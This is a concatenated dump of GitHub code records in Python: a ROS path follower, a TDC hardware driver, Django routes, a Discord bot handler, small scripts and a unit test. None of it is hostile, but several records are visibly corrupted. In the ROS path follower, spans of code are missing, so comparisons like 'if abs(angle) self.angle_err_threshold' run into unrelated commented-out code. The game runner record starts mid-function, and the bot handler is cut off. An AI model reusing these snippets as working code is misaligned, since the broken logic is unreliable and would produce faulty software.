\"X\" if evaluated is False else \"\", \"X\" if evaluated is True else \"\"))\n except Exception:\n comparison_table.append(x, \"ERR\", \"ERR\")\n\n print(tabulate(comparison_table, headers=(\"Expression\", \"False\", \"True\"), tablefmt=\"fancy_grid\"))\n\n\nmodes = {\n 0: (\"Find data type\", mode_0),\n 1: (\"Find bool result\", mode_1)\n}\n\n\ndef start_program():\n print(\"Vennligs spesifiser operasjonsmodus:\")\n for k, v in modes.items():\n print(f\"{k}: {v[0]}\")\n print(\"Skriv exit for å avslutte\")\n while True:\n user_input = input(\"Mode: \")\n\n if user_input == \"exit\":\n print(\"Ha det!\")\n exit()\n\n if modes.get(int(user_input), -1) != -1:\n print(f\"Using function: {modes[int(user_input)][0]}\")\n\n modes[int(user_input)][1]()\n\n break\n\n\nstart_program()\n","repo_name":"gronnmann/INF100","sub_path":"eksamenstools.py","file_name":"eksamenstools.py","file_ext":"py","file_size_in_byte":3971,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"38292549643","text":"#! /usr/bin/env python3\nimport rospy\nimport actionlib\nimport planner.msg\nfrom nav_msgs.msg import Odometry, OccupancyGrid\nfrom geometry_msgs.msg import Twist\nfrom sensor_msgs.msg import LaserScan\nfrom tf.transformations import euler_from_quaternion\nfrom math import atan2, pi, sqrt\nimport matplotlib.pyplot as plt\nimport math\nfrom math import atan2 , pi, cos, sin, radians, floor, isnan, isinf\nclass PathFollower(object):\n # message variables initialization\n ranges = [100.0]*360\n cur_x = 0.0\n cur_y = 0.0\n\n # create messages that are used to publish feedback/result\n _feedback = planner.msg.PathFollowFeedback()\n _result = planner.msg.PathFollowResult()\n\n # variables for calculating total distance travelled till now\n total_distance = 0.0\n previous_x = 0\n previous_y = 0\n first_run = True\n\n # velocity values\n linear_vel = 0.08\n angular_vel = 0.08\n\n # threshold values\n angle_err_threshold = 1*math.pi/180 # if difference between goal angle and current angle is less than this threshold we stop angular correction\n dist_err_threshold = 0.05 # if bot is within a radius of this threshold value goal has been reached.\n obstacle_dist_threshold = 2 #1.0 #if there is an obstacle within this threshold, stop the bot\n stopping_dist = 10.0 # after travelling stopping_dist m, the bot stops to update obstacles\n\n #initializing map\n map=OccupancyGrid()\n map_first_cb=False\n # Initializing the Subscriber(Odom), Publisher(cmd_vel), ActionServer(Initial_Move)\n def __init__(self, name):\n self.sub_odom = rospy.Subscriber('/odom', Odometry, self.clbk_odom)\n self.sub_scan = rospy.Subscriber('/scan', LaserScan, self.clbk_scan)\n self.sub_map = rospy.Subscriber('/map', OccupancyGrid, self.clbk_map)\n self.pub_vel = rospy.Publisher('/cmd_vel', Twist, queue_size=10)\n\n self._action_name = name\n self._as = actionlib.SimpleActionServer(self._action_name, planner.msg.PathFollowAction, execute_cb=self.execute_cb, auto_start = False)\n self._as.start()\n\n\n def clbk_map(self,msg):\n self.map_first_cb=True\n self.map=msg\n\n\n def clbk_odom(self, msg): \n if(self.first_run):\n #initialized this way to match co-ordinates in mapping\n self.previous_x = -msg.pose.pose.position.y\n self.previous_y = msg.pose.pose.position.x \n #initialized this way to match co-ordinates in mapping\n self.cur_x = -msg.pose.pose.position.y\n self.cur_y = msg.pose.pose.position.x\n rot_q = msg.pose.pose.orientation\n (self.roll, self.pitch, theta1) = euler_from_quaternion([rot_q.x, rot_q.y, rot_q.z, rot_q.w])\n self.theta=theta1+math.pi/2\n # calculate and update distance travelled till now\n d_increment = sqrt((self.cur_x - self.previous_x)**2 + (self.cur_y - self.previous_y)**2)\n self.total_distance = self.total_distance + d_increment \n self.previous_x = self.cur_x\n self.previous_y = self.cur_y\n self.first_run = False\n\n def restrict_ranges(self, start_angle, end_angle, min_distance, max_distance, ranges_li):\n\n restricted_ranges_li = [float('inf')] * len(ranges_li)\n\n for i in range(start_angle, end_angle + 1):\n if ranges_li[i] >= min_distance and ranges_li[i] <= max_distance:\n restricted_ranges_li[i] = ranges_li[i]\n return restricted_ranges_li\n\n def clbk_scan(self, msg):\n sub_ranges = list(msg.ranges)\n # print(len(ranges))\n \n self.ranges = self.restrict_ranges(-45, 45, 0.7, 4, sub_ranges)\n \n\n def stop_bot(self):\n self.command.linear.x = 0.0\n self.command.linear.y = 0.0\n self.command.linear.z = 0.0\n self.command.angular.x = 0.0\n self.command.angular.y = 0.0\n self.command.angular.z = 0.0\n\n def dist_err(self):\n inc_x = self.goal_x - self.cur_x\n inc_y = self.goal_y - self.cur_y\n return sqrt(inc_x**2 + inc_y**2)\n \n def angle_to_turn(self):\n if self.current_goal_index+1>=len(self.trajectory_x):\n return 0\n angle_to_goal = atan2(self.trajectory_y[self.current_goal_index+1]-self.goal_y, self.trajectory_x[self.current_goal_index+1]-self.goal_x)\n angle=angle_to_goal-self.theta\n if abs(angle) self.angle_err_threshold):\n # # turn the bot\n # for i in range(len(self.trajectory_x)):\n # for j in range(len(ox)):\n # if(int(self.trajectory_x[i]*20)==int(ox[j]*20) and int(self.trajectory_y[i]*20)==int(oy[j])*20):\n # self.stop_bot()\n # self.flag = False\n # self.pub_vel.publish(self.command)\n # print(\"stopped bot cuz obj detected\")\n # # result is set to True \n # self._result.ack = True\n # self._as.set_succeeded(self._result, 'Obstacle detected in front')\n # broken=True\n # break\n # if(broken):\n # break\n # # print(\"Obstacle neglected\")\n # if(broken):\n # break\n\n\n # # if bot has travelled more than 2m, stop the bot mapping.py to map obstacles\n # elif self.total_distance>self.stopping_dist:\n # self.stop_bot()\n # self.pub_vel.publish(self.command)\n # self.total_distance = 0.0\n # #delay of 2 secs for updation of obstacles\n # rospy.sleep(2)\n \n # bot needs angle correction\n if abs(self.angle_to_turn()) > self.angle_err_threshold:\n self.command.linear.x = 0.0\n if self.angle_to_turn() > 0:\n self.command.angular.z = self.angular_vel\n else:\n self.command.angular.z = -self.angular_vel\n self.pub_vel.publish(self.command)\n print(\"turning for \"+str(self.angle_to_turn()/self.angular_vel)+\" seconds\")\n rospy.sleep(abs(self.angle_to_turn()/self.angular_vel))\n\n \n \n\n # bot is aligned to the goal but needs to move forward \n\n if abs(self.dist_err()) > self.dist_err_threshold:\n\n if obj_dist self.angle_err_threshold):\n # turn the bot\n for i in range(len(self.trajectory_x)):\n if(self.map.data[int((self.trajectory_y[i]+10)*20)*self.map.info.width+int((self.trajectory_x[i]+10)*20)]==100):\n self.stop_bot()\n self.flag = False\n self.pub_vel.publish(self.command)\n print(\"stopped bot cuz obj detected\")\n # result is set to True \n self._result.ack = True\n self._as.set_succeeded(self._result, 'Obstacle detected in front')\n broken=True\n break\n # print(\"Obstacle neglected\")\n if(broken):\n break\n\n self.command.linear.x = self.linear_vel\n self.command.angular.z = 0.0\n self.pub_vel.publish(self.command)\n print(self.dist_err())\n rospy.sleep(self.dist_err()/self.linear_vel)\n\n \n\n\n # if bot has travelled more than 2m, stop the bot mapping.py to map obstacles\n elif self.total_distance>self.stopping_dist:\n self.stop_bot()\n self.pub_vel.publish(self.command)\n self.total_distance = 0.0\n #delay of 2 secs for updation of obstacles\n rospy.sleep(2)\n # bot has reached the current goal\n \n # update goal index\n self.current_goal_index = self.current_goal_index+1\n\n if self.current_goal_index >= len(self.trajectory_x):\n self.stop_bot()\n self.flag = False\n self.pub_vel.publish(self.command)\n self.pub_vel.publish(self.command)\n self.pub_vel.publish(self.command)\n self.pub_vel.publish(self.command)\n print(\"goal reached\")\n # result is set to False \n self._result.ack = False\n \n self._as.set_succeeded(self._result, 'Reached the Goal')\n else:\n self.goal_x = self.trajectory_x[self.current_goal_index]\n self.goal_y = self.trajectory_y[self.current_goal_index] \n print(\"finished turning\")\n if self.flag:\n # publish the feedback \n self._feedback.current_pos.x = self.cur_x\n self._feedback.current_pos.y = self.cur_y \n self._as.publish_feedback(self._feedback)\n\n '''\n # this step is not necessary, the sequence is computed at 1 Hz. But this can be useful later.\n r = rospy.Rate(1)\n r.sleep()\n '''\n \nif __name__ == '__main__':\n rospy.init_node('path_follow')\n server = PathFollower(rospy.get_name())\n rospy.spin()","repo_name":"AtharvMane/planner_cpp","sub_path":"scripts/path_follower_up.py","file_name":"path_follower_up.py","file_ext":"py","file_size_in_byte":14032,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"}
+{"seq_id":"16316250455","text":"import logging\nimport unittest\n\nimport Resources.testing as resources\nfrom Pipeline.data_loaders_IMG import DataloaderImages\nfrom Pipeline.resampling import get_fixed_number_of_indices\n\n\nclass TestDataLoaderIMG(unittest.TestCase):\n def setUp(self):\n self.img_cache_dirname = resources.data_loader_img_file\n\n def test_get_fixed_number_of_elements_and_their_indices_from_various_sized_list(\n self):\n for i in [2, 10, 20, 33, 100]:\n for j in [2, 5, 8, 10, 20]:\n self.create_list_and_test(i, j)\n\n def create_list_and_test(self, list_length, n_elements):\n logger = logging.getLogger(__name__)\n logger.info(f'list len: {list_length}, required elements: {n_elements}')\n if n_elements > list_length:\n return\n x = get_fixed_number_of_indices(\n list_length, n_elements)\n\n self.assertEqual(len(x), n_elements)\n\n def test_ignore_useless(self):\n dl = DataloaderImages()\n dl2 = DataloaderImages(ignore_useless_states=False)\n res = dl.get_sensordata_and_flowfront(resources.test_useless_file)\n res2 = dl2.get_sensordata_and_flowfront(resources.test_useless_file)\n self.assertEqual(len(res2) - len(res), 17) # since 17 frames are ignored in this file\n\n def tearDown(self):\n pass\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"isse-augsburg/rtm-predictions","sub_path":"Tests/test_data_loaders_IMG.py","file_name":"test_data_loaders_IMG.py","file_ext":"py","file_size_in_byte":1378,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"}
+{"seq_id":"74442862274","text":"# this is a class written for general usage of the TDC.\n# there is no phase-imaging related processing here, that is \n# handled in tdc_analysis_mgr.py. this class handles all \n# communication with the TDC and maintains a buffer \n# as well as operations for interacting with this buffer.\n\nimport controller_config\n\nimport numpy as np\nimport ctypes \nimport time \nimport atexit\nimport collections \nimport sys\nimport os \n\n_max_tdc_buf_size = 2**16\n\ncode_path = os.path.abspath( os.path.dirname( __file__ ) )\nos.chdir( code_path ) \n_dll_path = code_path + '\\hptdc_driver_3.4.3_x86_c_wrap.dll'\nprint( 'INFO: loading TDC dll: ', _dll_path ) \nfake_data_path = os.path.join( code_path, '..', 'debug', 'test_data_tabor_on.npy' )\n\nSAVE_FAKE_DATA = 0\n\n\n# falling_transition_mask = 2**31 \n# rising_transition_mask = 2**31 + 2**30 \n\n\n# amount of time in micro-seconds represented by one rollover.\n# each rollover is an absence of hits on any of the TDC channels for this amount of time. \nROLLOVER_DURATION = 512 \n\n\nrising_mask = 3\nfalling_mask = 2\nrollover_mask = 2**28\nchannel_mask = np.sum( 2 ** np.arange( 24, 31, dtype = 'int' ) )\ntime_mask = np.sum( 2 ** np.arange( 0, 24, dtype = 'int' ) )\ngroup_mask = np.sum( 2 ** np.arange( 24, 32, dtype = 'int' ) )\n\n\n\nclass TDC( object ) :\n \n def __init__( self ) :\n \n # load the TDC c API\n if not controller_config.USE_FAKE_DATA :\n self.tdc_driver_lib = ctypes.CDLL( _dll_path )\n \n self.tdc_ctx = self.tdc_driver_lib.TDCManager_New()\n \n # connect to the tdc and start DAQ\n self.tdc_driver_lib.TDCManager_Init( self.tdc_ctx )\n self.tdc_driver_lib.TDCManager_Start( self.tdc_ctx )\n \n # verify that the TDC is functioning as expected\n # state = self.get_state()\n # print( 'state: ', state )\n self.collecting_data = 1\n \n # register this function to be called when the program \n # terminates\n atexit.register( self.disconnect )\n\n else :\n self.collecting_data = 1 \n \n # hits from the TDC are stored here prior to processing. \n self.data_buf = np.zeros( _max_tdc_buf_size, dtype = 'uint32' )\n\n # the data in data_buf is processed and inserted into these arrays \n self.channels = np.zeros( _max_tdc_buf_size, dtype = 'uint8' )\n self.times = np.zeros( _max_tdc_buf_size, dtype = 'int32' )\n self.timestamps = np.zeros( _max_tdc_buf_size, dtype = float )\n self.rollovers = np.zeros( _max_tdc_buf_size, dtype = 'uint8' )\n self.groups = np.zeros( _max_tdc_buf_size, dtype = 'uint8' )\n\n self.start_time = time.time()\n self.duration = 0\n\n # increment if the rollover counter resets. that will occur in a session of more than 143\n # minutes. it's not a problem, just needs to be accounted for here.\n self.num_rollover_loops = 0 \n \n self.num_data_in_buf = 0\n \n \n def disconnect( self ) : \n print( 'INFO: deleting tdc_ctx' )\n if not controller_config.USE_FAKE_DATA : \n self.tdc_driver_lib.TDCManager_CleanUp( self.tdc_ctx )\n self.tdc_driver_lib.TDCManager_Delete( self.tdc_ctx )\n self.collecting_data = 0\n\n \n def toggle( self ) :\n if self.collecting_data :\n self.pause()\n else :\n self.resume()\n return self.collecting_data\n \n \n # pause data collection\n def pause( self ) :\n if not controller_config.USE_FAKE_DATA : \n self.tdc_driver_lib.TDCManager_Pause( self.tdc_ctx )\n self.collecting_data = 0\n\n \n def resume( self ) :\n if not controller_config.USE_FAKE_DATA : \n self.tdc_driver_lib.TDCManager_Continue( self.tdc_ctx )\n # self.start_time = time.time()\n self.collecting_data = 1\n\n def clear( self ) :\n # if not controller_config.USE_FAKE_DATA :\n # self.tdc_driver_lib.TDCManager_ClearBuffer( self.tdc_ctx )\n self.start_time = time.time() \n self.num_data_in_buf = 0\n self.prev_rollover_count = 0\n self.num_rollover_loops = 0 \n \n \n def get_state( self ) :\n state = -1\n if not controller_config.USE_FAKE_DATA : \n state = self.tdc_driver_lib.TDCManager_GetState( self.tdc_ctx )\n return state\n \n def read( self ) :\n\n if not controller_config.USE_TDC :\n return \n \n if controller_config.BENCHMARK :\n start = time.time()\n \n if SAVE_FAKE_DATA : \n time.sleep(5)\n \n if controller_config.USE_FAKE_DATA :\n # print( self.collecting_data )\n \n if self.collecting_data : \n self.data_buf = np.load( fake_data_path )\n self.num_data_in_buf = np.where( self.data_buf == 0 )[0][0]\n\n else : \n # pass\n self.num_data_in_buf = self.tdc_driver_lib.TDCManager_Read( \n self.tdc_ctx,\n self.data_buf.ctypes.data_as( ctypes.POINTER( ctypes.c_uint ) ), \n _max_tdc_buf_size );\n \n # print( self.data_buf )\n # print( self.num_data_in_buf )\n\n if self.num_data_in_buf == 0 :\n return\n \n tmp = self.data_buf[ : self.num_data_in_buf ]\n \n self.channels[ : self.num_data_in_buf ] = self.get_channels( tmp ) \n self.times[ : self.num_data_in_buf ] = self.get_times( tmp ) \n self.rollovers[ : self.num_data_in_buf ] = self.get_rollovers( tmp ) \n self.groups[ : self.num_data_in_buf ] = self.get_groups( tmp ) \n\n # print( 'num rollovers: ', np.sum( self.rollovers[ : self.num_data_in_buf]))\n \n # self.compute_timestamps() \n\n rollovers = self.rollovers[ : self.num_data_in_buf ] \n \n rollover_start, rollover_end = self.get_rollover_boundaries( rollovers )\n\n self.sort_data( rollover_start, rollover_end )\n self.compute_timestamps( rollover_start, rollover_end )\n self.update_time()\n # print( self.duration )\n \n if controller_config.BENCHMARK :\n end = time.time()\n diff = ( end - start ) * 1000 \n print( 'BENCHMARK: read %d hits in %f ms'\n % ( self.num_data_in_buf, diff ) )\n print( 'Num rollovers: %d ' % np.sum( self.rollovers[ : self.num_data_in_buf ] ))\n # print( 'State: %d' % self.get_state() )\n # print( 'num data in buf', self.num_data_in_buf )\n \n if SAVE_FAKE_DATA : \n print( 'INFO: saving fake tdc data.' )\n \n out = np.vstack( ( self.channels[ : self.num_data_in_buf ],\n self.rollovers[ : self.num_data_in_buf ],\n self.times[ : self.num_data_in_buf ] ) )\n np.savetxt( 'debug_tdc_data.tsv', out, delimiter = '\\t' )\n sys.exit(0) \n\n return self.num_data_in_buf\n\n\n\n \n # input: mask stating whether each hit in the array is a rollover or not (1 or 0 respectively)\n # \n # output: returns two equal-size arrays, 'start' and 'end', such that the range start[i] : end[i]\n # are NOT hits. so start gives the indices of each block of non-rollover data, and end gives\n # the indices of the first rollover in any sequence of consecutive rollovers.\n # \n # for example, suppose the rollover mask looks like this: 0 1 1 1 0 0 0 1 1 0 0 0 0\n # let s = start, e = end. then the start / end indices are: s e s e s e\n #\n # thus, start = ( 0, 4, 9 ) and end = ( 1, 7, 12 ).\n # \n # note that if the first hit is not a rollover or the last hit is not a rollover (both of\n # wich are the case in the above example), then start or end is designated accordingly.\n \n def get_rollover_boundaries( self, rollovers ) :\n\n tmp = np.roll( rollovers, 1 )\n tmp[0] = rollovers[0]\n\n start = np.where( rollovers < tmp )[0]\n end = np.where( rollovers > tmp )[0]\n\n if not rollovers[0] :\n start = np.insert( start, 0, 0 ) \n\n if not rollovers[-1] :\n end = np.append( end, len( rollovers ) ) \n\n return start, end\n\n \n \n # the data is only partially sorted when it comes out of the TDC.\n # complete the sorting between each group of consecutive rolloovers.\n # @jit\n def sort_data( self, rollover_start, rollover_end ) :\n\n num_data = self.num_data_in_buf\n\n rollovers = self.rollovers[ : num_data ]\n channels = self.channels[ : num_data ]\n times = self.times[ : num_data ]\n \n if controller_config.PRINT_TDC_DATA : \n print( 'rollovers: ')\n print( rollovers )\n print( '\\nchannels:' )\n print( channels ) \n print( '\\ntimes:')\n print( times )\n print( '\\nrollover start and end:' ) \n print( rollover_start, rollover_end ) \n\n # print( rollovers )\n # print( rollover_start )\n # print( rollover_end )\n\n # sys.exit(0 ) \n \n for i in range( len( rollover_start ) ) :\n\n start = rollover_start[i]\n end = rollover_end[i]\n\n # print( start ) \n\n # print( times[ start - 1 : end + 1 ] )\n \n sort_indices = start + np.argsort( times[ start : end ] )\n times[ start : end ] = times[ sort_indices ]\n channels[ start : end ] = channels[ sort_indices ]\n\n # print( times[ start - 1 : end + 1 ] )\n\n\n \n # set the absolute timestamp of aech event.\n\n def compute_timestamps( self, rollover_start, rollover_end ) :\n\n if len( rollover_start ) == 0 :\n return\n \n num_data = self.num_data_in_buf \n times = self.times[ : num_data ]\n # timestamps = self.timestamps[ : num_data ] \n\n # this array will contain the absolute time of the rollover corresponding to each\n absolute_rollover_times = np.zeros( num_data )\n\n for i in range( len( rollover_start ) ) :\n\n start = rollover_start[i]\n end = rollover_end[i]\n\n if start > 0 :\n rollover_count = times[ start - 1 ]\n if rollover_count < self.prev_rollover_count :\n self.num_rollover_loops += 1\n else :\n rollover_count = self.prev_rollover_count\n # rollover_idx = self.prev_rollover_idx \n \n # note that times[ start ] is the rollover count.\n absolute_rollover_times[ start : end ] = (\n ( self.num_rollover_loops * ( 2 ** 24 ) + rollover_count ) * ( 2 **24 ) ) \n\n # now compute the absolute time of each hit by adding its time to the associated absolute\n # rollover time. the timestamps of the rollovers will be nonsense, that could be corrected\n # if one so desired but there is no reason to preserve them once they have been used for\n # sorting and absolute time computation.\n self.timestamps[ : num_data ] = ( absolute_rollover_times + times ) * 25 / 1e6\n\n self.prev_rollover_count = rollover_count\n \n def reset( self ) :\n self.num_data_in_buf = 0\n self.duration = 0 \n self.start_time = time.time() \n \n def get_channels( self, hits ) :\n return np.right_shift( np.bitwise_and( hits, channel_mask ), 24 )\n\n def get_times( self, hits ) :\n return np.bitwise_and( hits, time_mask )\n\n def get_rollovers( self, hits ) :\n return np.bitwise_and( hits, rollover_mask ) == rollover_mask\n\n def get_groups( self, hits ) :\n # return np.right_shift( np.bitwise_and( hits, group_mask ), 24 ) == 0\n return np.right_shift( hits, 24 ) == 0\n\n def get_rising( self, hits ) :\n return np.right_shift( hits, 30 ) == rising_mask\n\n def get_falling( self, hits ) :\n return np.right_shift( hits, 30 ) == falling_mask \n \n \n def print_bin( self, x ) :\n print( format( x, '#034b' ) )\n\n def update_time( self ) :\n if self.collecting_data : \n self.duration = time.time() - self.start_time \n","repo_name":"jacobpierce1/cpt_tools","sub_path":"gui_controller/tdc.py","file_name":"tdc.py","file_ext":"py","file_size_in_byte":12359,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"}
+{"seq_id":"21984174477","text":"# 仮説1: まずforループ\n# 左の条件はP[:j:i]、右はPi <= Pj ← PjというのはP[:j:i]\n# P[:j:i]の全てのカズはPi以上でないといけない。 ←PiというのはP[:j:i]の最小値ということ!!!\n# 今回はPiを軸として「bench」とおき、P[:j:i]をpとし、\n# min(p) < benchとなった場合はcount += 1とし、\n# print(N - count)とした。\n\nN = int(input())\nP = [int(i) for i in input().split()]\n\n# count = 0\n#\n# for i, value in enumerate(P):\n# bench = P[value - 1]\n# p = P[:value]\n# if min(p) < bench:\n# count += 1\n#\n# print(N - count)\nbench = P[0]\ncount = 0\nfor i in range(N):\n if bench >= P[i]:\n bench = P[i]\n count += 1\n\nprint(count)","repo_name":"nishiyama4477/abc_c","sub_path":"152.py","file_name":"152.py","file_ext":"py","file_size_in_byte":755,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"591944098","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Jul 11 12:55:03 2017\n\n@author: baiintern1\n\"\"\"\nfrom sklearn.feature_selection import SelectKBest\nfrom sklearn.feature_selection import f_classif\n\ndef selectfeatures(X,y,k,labels):\n \"\"\"selects the best k features by looking at X and y]\n \n Args:\n X(numpy array): a 2d array with all the columns\n y(list): the classes that each of the samples are in\n k(int): tht total number of features to return\n labels(list): the labels for the columns in X\n \n Returns:\n (list): the k most signficant features form the data\"\"\"\n sel = SelectKBest(f_classif,\"all\")\n sel.fit(X,y)\n z = zip(sel.scores_, labels)\n a = sorted(z,key=lambda x: -x[0])\n nums = []\n count=0\n for i,j in a:\n if count= 30:\n self.gen_over = True\n\n # Parse and act on keyboard inputs\n self.parse_keyboard_input()\n \n self.track.render()\n\n # Call functions to control AI\n if self.race_ai.gen_over() or self.gen_time >= 30 or self.gen_over:\n self.race_ai.next_gen()\n self.gen_over = False\n self.gen_time = 0\n elif not self.paused:\n self.race_ai.run(frame_time)\n\n self.race_ai.render() \n\n # Display debug infomation\n if self.display_debug:\n self.debug(self.window, clock, self.race_ai.gen)\n\n pygame.display.update()\n\n return const.MODE.MAIN","repo_name":"alexelwood14/Hello-AI","sub_path":"runner.py","file_name":"runner.py","file_ext":"py","file_size_in_byte":3176,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"31003803719","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n path('', views.home, name= 'home'),\n path('index', views.index, name= 'index'),\n path('login/', views.login_view, name='login_view'),\n path('register/', views.register, name='register'),\n path('adminpage/', views.admin, name='adminpage'),\n path('customer/', views.customer, name='customer'),\n path('employee/', views.employee, name='employee'),\n path('wear',views.troling,name='wear'),\n path('product/',views.product,name='product') ,\n path('product_add/',views.product_add,name='product_add') ,\n path('product_view/',views.product_view,name='product_view') ,\n path('tr_view/',views.tr_view,name='tr_view') ,\n path('logout/',views.logout,name='logout') ,\n path('admin_view_product',views.admin_view_product,name='admin_view_product') ,\n path('admin_all_prdct_view',views.admin_all_prdct_view,name='admin_all_prdct_view') ,\n path('cust_all_prdct_view',views.cust_all_prdct_view,name='cust_all_prdct_view') ,\n path('cust_view_product/',views.cust_view_product,name='cust_view_product') ,\n path('cust_view_product/',views.cartview,name='cart') ,\n path('carts/',views.carts,name='carts') ,\n path('carts/',views.payment,name='payment') ,\n path('boatdetails',views.boatdetails,name='boatdetails'),\n path('viewboat',views.viewboat,name='viewboat'),\n path('delete//', views.delete, name=\"delete\"),\n path('edit//', views.edit, name=\"edit\"),\n path('update//', views.update, name=\"update\"),\n path('main',views.ms,name='main'),\n path('status',views.status,name='status'),\n path('climate',views.climate,name='climate'),\n path('map/',views.map,name='map'),\n path('fishermen',views.fishermendetails,name='fishermen'),\n path('adminviewfishermen',views.adminviewfishermen,name='adminviewfishermen'),\n\n # path('delete_cart//', views.delete_cart, name=\"delete_cart\"),#the path for our index view\n]\n","repo_name":"AISHWARYATE/project","sub_path":"fish_new-project/account/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1996,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"71974795073","text":"from datetime import datetime\nfrom emoji import UNICODE_EMOJI\nimport asyncio\nimport io\nfrom aiohttp import web\nfrom aiohttp.web import AppRunner, Application, TCPSite\n\nimport discord\nimport logging\nimport messagefuncs\nimport netcode\nimport greeting\nimport inspect\nimport janissary\nimport random\nimport re\nfrom sys import exc_info\nimport textwrap\nimport traceback\nimport ujson\nfrom functools import lru_cache, partial\nfrom sentry_sdk import configure_scope\nfrom asyncache import cached\nfrom cachetools import TTLCache\n\nlogger = logging.getLogger(\"fletcher\")\n\nregex_cache = {}\nwebhooks_cache = {}\nremote_command_runner = None\nAns = None\n\n\ndef str_to_arr(string, delim=\",\", strip=True, filter_function=None.__ne__):\n array = string.split(delim)\n if strip:\n array = map(str.strip, array)\n if all(el.isnumeric for el in array):\n array = map(int, array)\n return filter(filter_function, array)\n\n\nclass Command:\n def __init__(\n self,\n trigger=None,\n function=None,\n sync=None,\n hidden=None,\n admin=None,\n args_num=None,\n args_name=None,\n description=None,\n ):\n self.trigger = trigger\n self.function = function\n self.sync = sync\n self.hidden = hidden\n self.admin = admin\n self.arguments = {\"min_count\": args_num, \"names\": args_name}\n self.description = description\n\n\nclass CommandHandler:\n\n # constructor\n def __init__(self, client):\n self.client = client\n self.commands = []\n self.join_handlers = {}\n self.remove_handlers = {}\n self.reload_handlers = {}\n self.message_reaction_handlers = {}\n self.message_reaction_remove_handlers = {}\n self.tag_id_as_command = re.compile(\n \"(?:^(?:Oh)?\\s*(?:\"\n + client.user.mention\n + \"|Fletch[er]*)[, .]*)|(?:[, .]*(?:\"\n + client.user.mention\n + \"|Fletch[er]*)[, .]*$)\",\n re.IGNORECASE,\n )\n self.bang_remover = re.compile(\"^!+\")\n self.global_admin = client.get_user(config[\"discord\"].get(\"globalAdmin\", 0))\n\n def add_command(self, command):\n command[\"module\"] = inspect.stack()[1][1].split(\"/\")[-1].rstrip(\".py\")\n if type(command[\"trigger\"]) != tuple:\n command[\"trigger\"] = tuple(command[\"trigger\"])\n logger.debug(f\"Loading command {command}\")\n self.commands.append(command)\n\n def add_remove_handler(self, func_name, func):\n self.remove_handlers[func_name] = func\n\n def add_join_handler(self, func_name, func):\n self.join_handlers[func_name] = func\n\n def add_reload_handler(self, func_name, func):\n self.reload_handlers[func_name] = func\n\n def add_message_reaction_remove_handler(self, message_ids, func):\n for message_id in message_ids:\n self.message_reaction_remove_handlers[message_id] = func\n\n def add_message_reaction_handler(self, message_ids, func):\n for message_id in message_ids:\n self.message_reaction_handlers[message_id] = func\n\n async def tupper_proc(self, message):\n global config\n global webhooks_cache\n tupperId = 431544605209788416\n sync = config.get(section=\"sync\")\n user = message.author\n if type(message.channel) is not discord.TextChannel:\n return\n if not (\n message.guild\n and sync.get(f\"tupper-ignore-{message.guild.id}\")\n or sync.get(f\"tupper-ignore-m{user.id}\")\n ):\n return\n tupper = discord.utils.get(message.channel.members, id=tupperId)\n if tupper is not None:\n tupper_status = tupper.status\n else:\n tupper_status = None\n if (\n (tupper is not None)\n and (self.user_config(user.id, None, \"prefer-tupper\") == \"1\")\n or (\n self.user_config(\n user.id,\n message.guild.id,\n \"prefer-tupper\",\n allow_global_substitute=True,\n )\n == \"0\"\n )\n and (tupper_status == discord.Status.online)\n ):\n return\n for prefix in tuple(sync.get(f\"tupper-ignore-{message.guild.id}\", [])) + tuple(\n sync.get(f\"tupper-ignore-m{user.id}\", [])\n ):\n tupperreplace = None\n if prefix and message.content.startswith(prefix.lstrip()):\n if sync.get(\n f\"tupper-replace-{message.guild.id}-{user.id}-{prefix}-nick\"\n ):\n tupperreplace = (\n f\"tupper-replace-{message.guild.id}-{user.id}-{prefix}\"\n )\n elif sync.get(f\"tupper-replace-None-{user.id}-{prefix}-nick\"):\n tupperreplace = f\"tupper-replace-None-{user.id}-{prefix}\"\n if not tupperreplace:\n continue\n content = message.content[len(prefix) :]\n attachments = []\n if len(message.attachments) > 0:\n plural = \"\"\n if len(message.attachments) > 1:\n plural = \"s\"\n for attachment in message.attachments:\n logger.debug(\"Syncing \" + attachment.filename)\n attachment_blob = io.BytesIO()\n await attachment.save(attachment_blob)\n attachments.append(\n discord.File(attachment_blob, attachment.filename)\n )\n fromMessageName = sync.get(f\"{tupperreplace}-nick\", user.display_name)\n webhook = webhooks_cache.get(f\"{message.guild.id}:{message.channel.id}\")\n if not webhook:\n try:\n webhooks = await message.channel.webhooks()\n except discord.Forbidden:\n await messagefuncs.sendWrappedMessage(\n f\"Unable to list webhooks to fulfill your nickmask in {message.channel}! I need the manage webhooks permission to do that.\",\n user,\n )\n continue\n if len(webhooks) > 0:\n webhook = discord.utils.get(\n webhooks, name=config.get(section=\"discord\", key=\"botNavel\")\n )\n if not webhook:\n webhook = await message.channel.create_webhook(\n name=config.get(section=\"discord\", key=\"botNavel\"),\n reason=\"Autocreating for nickmask\",\n )\n webhooks_cache[f\"{message.guild.id}:{message.channel.id}\"] = webhook\n\n sent_message = await webhook.send(\n content=content,\n username=fromMessageName,\n avatar_url=sync.get(\n f\"{tupperreplace}-avatar\",\n user.avatar_url_as(format=\"png\", size=128),\n ),\n embeds=message.embeds,\n tts=message.tts,\n files=attachments,\n allowed_mentions=discord.AllowedMentions(\n everyone=False, users=False, roles=False\n ),\n wait=True,\n )\n cur = conn.cursor()\n cur.execute(\n \"INSERT INTO attributions (author_id, from_message, from_channel, from_guild, message, channel, guild) VALUES (%s, %s, %s, %s, %s, %s, %s) ON CONFLICT DO NOTHING;\",\n [\n user.id,\n None,\n None,\n None,\n sent_message.id,\n sent_message.channel.id,\n sent_message.guild.id\n if type(sent_message.channel) is not discord.DMChannel\n else None,\n ],\n )\n conn.commit()\n try:\n return await message.delete()\n except discord.NotFound:\n return\n except 